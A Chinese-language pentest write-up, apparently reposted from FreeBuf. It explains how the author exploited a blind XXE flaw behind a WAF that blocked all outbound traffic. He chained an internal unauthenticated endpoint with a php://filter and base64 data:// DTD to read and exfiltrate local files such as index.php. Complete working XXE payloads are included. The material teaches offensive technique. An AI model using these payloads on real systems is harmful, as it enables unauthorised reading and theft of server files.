繞過WAF限制利用php:方法實現OOB-XXE漏洞利用

幾個星期以前,作者在某個OOB-XXE漏洞測試中遇到過這樣一種場景:目標應用后端系統WAF防火墻阻擋了包含DNS解析在內的所有出站請求(Outgoing Request),但最終,通過利用php://filter//的封裝協議,作者成功實現了OOB-XXE漏洞測試。以下是其分享:

在對目標應用的測試分析時,我偶然發現了其中一個路徑調用了一個名為xml的參數,但其對應的XML數據值是加密的。之后,我發現該xml參數的XML數據在發送到HTTP請求前僅在客戶端實行了加密,也就是說,其應用后端可能未設置對這些XML數據進行必要驗證的措施,這樣,我就想到能否修改這些XML數據以便注入XXE Payload。

接下來,首先我要找到加密XML數據的JavaScript函數,但卻發現目標應用的JavaScript全被靜態模塊打包器WebPack打包且非常不具可讀性和跟蹤分析性。所以,要找到JavaScript加密函數是件麻煩事,之后,我想到了在Chrome瀏覽器工具中設置斷點,在XML數據發送到JavaScript加密函數前對它進行修改。

這樣一來,我就可以在其中加入外部實體(external entity)進行XML數據構造了,但當我把構造好的XML Payload發送后,目標應用好長時間才有響應”Error while parsing XML”。但當我把其中的外部實體(external entity)修改為 [http://localhost/](http://localhost/) 后,目標應用卻能及時無誤的響應。這種情況,我認為目標應用環境中可能部署有WAF防火墻,它會把一些出站請求拒絕掉。之后,我又嘗試了端口和DNS解析請求,但都沒成功。

也就是說,現在我面前存在一個XXE漏洞,但是卻無能為力。一般來說可能通過探測目標應用內網環境中開放的端口來實現XXE利用,但其WAF防火墻卻阻擋了所有出站請求。由于其WAF防火墻未阻止本機用為外部實體,所以,我想找到目標應用公開具備的,不需cookie驗證且使用GET參數的路徑來實現對某些數據的更改或添加。而這也和目標應用的工作機制非常相符,因為它好多路徑并未采用cookie驗證和用戶ID參數的形式來驗證身份。

考慮到這一點,我就開始認真分析查找,最后聚集于一個路徑http://target/endpoint.php?sid=[session_id]&key=xxe&val=test,它會調用三個參數:sid、key和val,并把key和val保存到相應的會話ID賬戶中,而且我們通過訪問該路徑就可以獲取這三個參數值。

所以,現在我就想構造一個向路徑http://target/endpoint.php?sid=[session_id]&key=xxe&val=test發送GET請求的外部實體,之后看看該路徑下的xxe和test值是否已經會發生添加更改,因此,我構造的XXE Payload如下,并把它執行了發送:

<!DOCTYPE?foo?[

<!ELEMENT?foo?ANY?>

<!ENTITY?xxe?SYSTEM?“http://target/endpoint.php?sid=[session_id]&key=xxe&val=test”>

]>

<paramlimits>

<component?name=”L1″?min=”2″?max=”100″>&xxe;</component>

? ? </paramlimits>

之后,當我來到 http://target/endpoint.php?sid=[session_id] 下,我發現sid值已經被添加更改,也就是說,目標應用服務器能正常獲取上述實體,并會向提供的路徑發送GET請求。如下:

現在思路就慢慢清晰了,至少可以證明其XXE漏洞是存在的,我想深入利用看看能否可讀取到目標應用的一些本地文件。要讀取本地文件,我們需要創建一個獲取文件的參數實體,以及另一個調用該參數實體的實體,為此,我用到了外部文檔類型定義(DTD)文件的調用,但問題還是一樣,被WAF防火墻阻擋了出站的調用請求,部署在我服務器上的DTD文件不能被正常調用。

這樣來說,還是防火墻在作怪,如何來繞過它呢?我想能否存在一種允許文件上傳的路徑,這樣我就能上傳我的構造DTD文件,但是,目標應用卻根本沒任何文件上傳功能。一番倒騰之后,我差點放棄了,但是我想到目標應用是PHP架構的,那我想應該可以用php://封裝協議的封裝器去獲取 data:// URI中的資源吧,這樣不就能調用到我的DTD文件了嗎?

所以,可以定義這樣一種參數實體:

<!ENTITY?%?data?SYSTEM?“php://filter/convert.base64-encode/resource=file:///D:/path/index.php”>

? ? <!ENTITY % param1 ‘<!ENTITY exfil SYSTEM “http://target/endpoint.php?sid=[session_id]&key=xxe&val=%data;”>’>

然后把上述參數實體經base64編碼后,利用php://封裝協議來請求它,如下:

php://filter//resource=data://text/plain;base64,PCFFTlRJVFkgJSBkYXRhIFNZU1RFTSAicGhwOi8vZmlsdGVyL2NvbnZlcnQuYmFzZTY0LWVuY29kZS9yZXNvdXJjZT1maWxlOi8vL0Q6L3BhdGgvaW5kZXgucGhwIj4NCjwhRU5USVRZICUgcGFyYW0xICc8IUVOVElUWSBleGZpbCBTWVNURU0gImh0dHA6Ly90YXJnZXQvZW5kcG9pbnQucGhwP3NpZD1bc2Vzc2lvbl9pZF0mIzM4O2tleT14eGUmIzM4O3ZhbD0lZGF0YTsiPic+

當目標應用的XML解析器執行解析時,它會執行以下兩個路徑的實體解析:

php://filter/convert.base64-encode/resource=file:///D:/path/index.php????????????????http://target/endpoint.php?sid=[session_id]&key=xxe&val=%data;

其中的convert.base64-encode是為了能對 index.php 文件內容更方便的獲取。所以最終的XXE Payload為:

<!DOCTYPE?r?[

<!ELEMENT?r?ANY?>

<!ENTITY?%?sp?SYSTEM?“php://filter//resource=data://text/plain;base64,PCFFTlRJVFkgJSBkYXRhIFNZU1RFTSAicGhwOi8vZmlsdGVyL2NvbnZlcnQuYmFzZTY0LWVuY29kZS9yZXNvdXJjZT1maWxlOi8vL0Q6L3BhdGgvaW5kZXgucGhwIj4NCjwhRU5USVRZICUgcGFyYW0xICc8IUVOVElUWSBleGZpbCBTWVNURU0gImh0dHA6Ly90YXJnZXQvZW5kcG9pbnQucGhwP3NpZD1bc2Vzc2lvbl9pZF0mIzM4O2tleT14eGUmIzM4O3ZhbD0lZGF0YTsiPic+”>?%sp;?%param1;

]>

<paramlimits>

<component?name=”L1″?min=”2″?max=”100″>&exfil;</component>

? ? </paramlimits>

提交發送之后,來到目標路徑http://target/endpoint.php?sid=[session_id]下,可以發現經base64編碼的index.php文件內容被成功獲取:

當然,深入利用之后就能用這種方法來讀取一些敏感的本地文件了。

【via@FreeBuf.COM